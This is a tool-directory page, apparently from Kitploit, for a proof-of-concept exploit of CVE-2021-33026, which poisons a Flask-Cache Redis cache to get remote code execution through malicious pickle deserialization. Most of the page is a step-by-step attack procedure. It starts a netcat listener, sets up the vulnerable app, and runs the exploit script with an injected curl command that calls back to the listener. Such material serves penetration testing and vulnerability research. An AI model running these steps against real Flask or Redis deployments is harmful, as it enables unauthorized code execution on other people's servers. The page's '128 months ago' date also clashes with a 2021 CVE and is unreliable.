Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
FlaskCache_CVE-2021-33026_POC — PoC exploit for CVE-2021-33026 that poisons Redis cache in Flask-Cache to achieve remote code execution via malicious pickle deserialization. | Kitploit
Tools/GitHubGitHub/agilevatester/flaskcache_cve-2021-33026_poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubagilevatester/flaskcache_cve-2021-33026_poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

FlaskCache_CVE-2021-33026_POC

PoC exploit for CVE-2021-33026 that poisons Redis cache in Flask-Cache to achieve remote code execution via malicious pickle deserialization.

View Repository
128 months agoNot yet reviewed
Share

Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit


Check redis server up and running

redis-cli -h 127.0.0.1 -p 6379 ping

redis-cli keys *

redis-cli get [Keyid]


Start listening netcat at port 10001 :

nc -nvlp 10001


Setting environments for Flask Chache

python -m venv venv_flask_cache_<lib_ver>

source venv_flask_cache_<lib_ver>\scripts\activate

pip install -r <requirement.txt>

Setting environments for Flask Chache 2.3.0

Run Flask App and create cache Key :

flask run

curl --header "Content-Type: application/json" --request POST --data {"key":"Cachelib_2.3"} http://localhost:5000/cache/new

Get the cache key value from Flask App

curl --request GET http://localhost:5000/cache/[key]

Exploiting Flask Cache by poisoning Redis Cache :

cve-2021-33026_PoC.py --rhost 127.0.0.1 --rport 5000 --cacheType redis --cmd "curl http://localhost:10001" --id 41685a90-434e-4d70-9a08-35b78025e09a

Download Tool